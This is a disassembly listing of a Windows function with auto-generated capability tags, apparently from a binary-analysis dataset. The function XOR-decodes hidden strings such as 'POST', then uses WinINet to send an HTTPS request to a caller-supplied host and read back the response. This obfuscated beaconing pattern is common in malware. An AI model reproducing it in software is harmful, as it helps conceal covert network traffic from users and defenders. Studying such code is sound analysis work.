Function at 0x6ff92b20
Capabilities:
Connect to http server
Create http request
Encode data using xor
Read data from internet
Receive data
Send data
Send http request

Disassembly:
movabs rax, 0xc130d7276766a22
push r15
push r14
mov r14, rcx
push r13
mov r13, rdx
push r12
push rbp
mov rbp, r8
push rdi
push rsi
push rbx
mov rbx, r9
sub rsp, 0x458
mov byte [rsp + 0x59], 0
lea rdx, [rsp + 0x58]
mov byte [rsp + 0x58], 0x13
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rsi, rax
xor byte [rax + 1], 0x22
inc rax
cmp rax, rdx
jne 0x6ff92b65
lea r15, [rsp + 0x51]
mov byte [rsp + 0x59], 0
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 0
mov edx, 1
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r12, rax
mov eax, 0xe6
test r12, r12
je 0x6ff92dfa
mov rdx, r14
xor r9d, r9d
mov r8d, 0x1bb
mov rcx, r12
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_InternetConnectA]
mov r14, rax
test rax, rax
jne 0x6ff92bfa
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 0xe5
jmp 0x6ff92dfa
mov byte [rsp + 0x55], 0
mov rax, rsi
lea rdx, [rsp + 0x54]
mov dword [rsp + 0x50], 0x4e524d1d
mov byte [rsp + 0x54], 0x49
xor byte [rax + 1], 0x1d
inc rax
cmp rax, rdx
jne 0x6ff92c14
mov r8, r13
mov byte [rsp + 0x55], 0
xor r9d, r9d
mov rdx, r15
mov qword [rsp + 0x38], 0
mov rcx, r14
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov r13, rax
test rax, rax
jne 0x6ff92c7d
mov rbx, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call rbx
mov rcx, r12
call rbx
mov eax, 0xe4
jmp 0x6ff92dfa
mov edx, 6
mov rcx, rax
lea r8, [rsp + 0x48]
mov rdi, rbp
mov dword [rsp + 0x48], 0xea60
mov r9d, 4
call qword [sym.imp.WININET.dll_InternetSetOptionA]
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdx, rsi
repne scasb al, byte [rdi]
mov byte [rsp + 0x71], 0
movabs rdi, 0x6973786973725e1d
mov qword [rsp + 0x50], rdi
movabs rdi, 0x7c3d27786d644930
mov qword [rsp + 0x58], rdi
movabs rdi, 0x74697c7e74716d6d
mov qword [rsp + 0x60], rdi
movabs rdi, 0x1073726e77327372
mov qword [rsp + 0x68], rdi
mov byte [rsp + 0x70], 0x17
mov rax, rcx
lea rcx, [rsp + 0x70]
not rax
dec rax
xor byte [rdx + 1], 0x1d
inc rdx
cmp rdx, rcx
jne 0x6ff92d00
or r8d, 0xffffffff
mov byte [rsp + 0x71], 0
mov r9, rbp
mov rdx, r15
mov dword [rsp + 0x20], eax
mov rcx, r13
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x6ff92d61
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rsi, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r13
mov ebx, eax
call rsi
mov rcx, r14
call rsi
mov rcx, r12
call rsi
xor eax, eax
cmp ebx, 0x2ee2
sete al
lea eax, [rax*4 + 0xe3]
jmp 0x6ff92dfa
mov ecx, 1
lea rbp, [rsp + 0x4c]
call sub.msvcrt.dll_malloc
mov dword [rsp + 0x4c], 0
mov r15, qword [sym.imp.WININET.dll_InternetReadFile]
mov qword [rbx], rax
mov byte [rax], 0
mov r9, rbp
mov r8d, 0x3ff
mov rdx, rsi
mov rcx, r13
call r15
test eax, eax
je 0x6ff92ddf
mov edx, dword [rsp + 0x4c]
test edx, edx
je 0x6ff92ddf
mov r8, qword [rbx]
mov byte [rsp + rdx + 0x50], 0
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, r8
repne scasb al, byte [rdi]
mov rax, rcx
mov rcx, r8
not rax
add rdx, rax
call sub.msvcrt.dll_realloc
mov rdx, rsi
mov qword [rbx], rax
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [rsp + 0x4c], 0
jmp 0x6ff92d85
mov rbx, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r13
call rbx
mov rcx, r14
call rbx
mov rcx, r12
call rbx
mov eax, 0xe8
add rsp, 0x458
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret